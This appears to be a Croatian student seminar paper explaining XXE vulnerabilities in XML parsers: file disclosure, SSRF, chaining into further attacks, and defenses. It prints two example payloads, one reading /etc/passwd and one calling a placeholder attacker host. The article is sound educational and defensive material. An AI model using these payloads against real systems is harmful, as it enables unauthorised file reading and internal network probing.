Sadržaj

Sažetak

XXE (XML External Entity) ranjivosti su tip ranjivosti čije iskorištavanje omogućuje napadaču izvršavanje malicioznih radnji u aplikacijama koje parsiraju XML datoteke. Ranjivost se javlja kada aplikacija omogućuje korisnicima unos XML datoteka pritom čega se ne izvršava validacija ni saniranje unosa.

Uvod

XXE (XML External Entity) vrsta je ranjivosti koja se može pojaviti u bibliotekama za parsiranje XML-a. XXE ranjivost se javlja kada aplikacija ili sustav obrađuje XML na način koji napadaču omogućuje ubacivanje vanjskih entiteta u dokument, koji se mogu koristiti za pristup osjetljivim informacijama ili izvođenje zlonamjernih radnji. Aplikacija koristi korisnički unos za konstrukciju XML dokumenta te ga nakon toga parsira bez vršenja validacije ili saniranja unosa. Manjak saniranja i validacije dovodi do mogućnosti da napadač u dokument stavi posebne znakove ili kod koji onda uzrokuju da XML parser interpretira unos na način koji programer nije zamislio.

XXE ranjivosti i dohvat datoteka

Jedan od čestih načina na koji se XXE ranjivosti iskorištavaju je slanje posebno formatiranog XML dokumenta koji sadrže referencu na vanjski entitet. Kada aplikacija parsira dokument, ona automatski pokušava razriješiti referencu na taj vanjski entitet te uključiti sadržaj tog vanjskog entiteta u dokument. To može omogućiti napadaču da dohvati osjetljive informacije iz aplikacije ili datotečnog sustava poslužitelja na kojem se aplikacija nalazi.

Na primjer, napadač pošalje XML dokument koji sadrži referencu na datoteku u datotečnom sustavu poslužitelja, aplikacija dohvaća sadržaj datoteke i šalje ga natrag napadaču. To omogućuje napadaču pristup osjetljivim informacijama, poput povjerljivim dokumentima, konfiguracijskim datotekama, privatnim ključevima i ostalim osjetljivim korisničkim podacima.

U nastavku vidljiv je jedan primjer XML-a koji dohvaća podatke iz /etc/passwd međutim za sve napade ideja je ista.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

XXE ranjivosti i izvršavanje SSRF napada

Još jedan način na koji se XXE ranjivosti mogu iskoristiti je tako da napadač pošalje XML dokument koji sadrži referencu na vanjski poslužitelj. To napadaču može omogućiti izvođenje napada server-side request forgery (SSRF), pri čemu aplikacija šalje zahtjev vanjskom poslužitelju u ime napadača.

Na primjer, napadač može poslati XML dokument koji sadrži referencu na interni poslužitelj koji nije dostupan na internetu. Ako aplikacija pošalje zahtjev internom poslužitelju u ime napadača, napadač bi potencijalno mogao dobiti pristup osjetljivim informacijama ili izvesti neovlaštene naredbe na internom poslužitelju.

Mjere kao što su saniranje i validacija XML datoteka mogu spriječiti mogućnost napada, a pravilno postavljen vatrozid i segmentacija mreže mogu dodatno spriječiti napadače da iskoriste SSRF ranjivosti.

Priložen je primjerak XML datoteke čije parsiranje rezultira zahtjevom na napadačevu stranicu gdje on može spremiti informacije o IP adresi poslužitelja i druge informacije iz zahtjeva. Ovo je primjer najjednostavnijeg XML baziranog SSRF napada, u stvarnosti oni mogu biti mnogo kompleksniji i detaljniji.

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://attacker-controlled-site.com/log?id=12345" >]>
<foo>&xxe;</foo>

XXE ranjivost kao platforma za druge napade

XXE ranjivosti često se mogu koristiti kao platforma za druge vrste napada. Jednom kada napadač uspije iskoristiti XXE ranjivost i dobiti pristup osjetljivim informacijama ili mogućnost slanja zahtjeva s poslužitelja, može ga iskoristiti za pokretanje daljnjih napada.

Na primjer, napadač koji je uspio dohvatiti osjetljive informacije poput korisničkog imena i lozinke baze podataka putem XXE ranjivosti može upotrijebiti te informacije za napad na bazu podataka i potencijalno izvlačenje osjetljivijih podataka. Slično, napadač koji ima mogućnost uputiti zahtjeve unutar lokalne mreže ili resursima putem XXE baziranog SSRF napada može koristiti ovaj pristup za ispitivanje drugih ranjivosti ili krađu dodatnih informacija.

Nadalje, XXE ranjivosti također se mogu koristiti za izvođenje drugih vrsta napada umetanjem (injection). Na primjer, ako napadač uspije ubaciti zlonamjerni unos u aplikaciju ili sustav koji se zatim prosljeđuje SQL upitu, to može dovesti do napada umetanjem SQL-a, dopuštajući napadaču da dohvati ili manipulira podacima iz baze podataka.

Dodatno, napadač može koristiti pristup iz XXE za učitavanje zlonamjernih datoteka u sustav ili izvršavanje proizvoljnog koda na poslužitelju iskorištavanjem ranjivosti umetanja naredbi.

Zaštita od XXE napada

Kako bi zaštitili svoje aplikacije od XXE napada potrebno je više stvari neke od kojih su:

Zaključak

XXE (XML vanjski entiteti) je vrsta ranjivosti koja utječe na biblioteke za parsiranje XML-a u softveru, a koja se javlja kada aplikacija ili sustav obrađuje XML unos na način koji dopušta napadaču da ubaci vanjske entitete u dokument. To se može koristiti za pristup osjetljivim informacijama, izvođenje zlonamjernih radnji, pa čak i kao platforma za druge vrste napada.

Sprječavanje XXE ranjivosti zahtijeva nekoliko aspekata, među kojima su: korištenje XML parsera koji automatski onemogućuje rezoluciju vanjskog entiteta, saniranje i validaciju unosa, održavanje softvera ažurnim, vatrozida ili drugih sigurnosnih kontrola na razini mreže i nadgledanje sustava za sumnjive aktivnosti.

Važno je napomenuti da su XXE ranjivosti ozbiljan problem i organizacije bi trebale provesti mjere zaštite od ovakvih vrsta napada. Razumijevanjem prirode XXE ranjivosti i poduzimanjem odgovarajućih akcija za njihovo sprječavanje, organizacije mogu osigurati sigurnosti svojih sustava i aplikacija od XXE napada.

Prezentacija: https://ferhr-my.sharepoint.com/:p:/g/personal/fj51890_fer_hr/EW5tY70y14JMhRDAxPo7PHUB4CeerSr-HddM5MQmX4UToA?e=uHBJzW

Literatura

[1] Sigurnost web aplikacija prezentacija kolegija SRS

[2] https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

[3] https://owasp.org/www-community/vulnerabilities/Missing_XML_Validation

[4] https://portswigger.net/web-security/xxe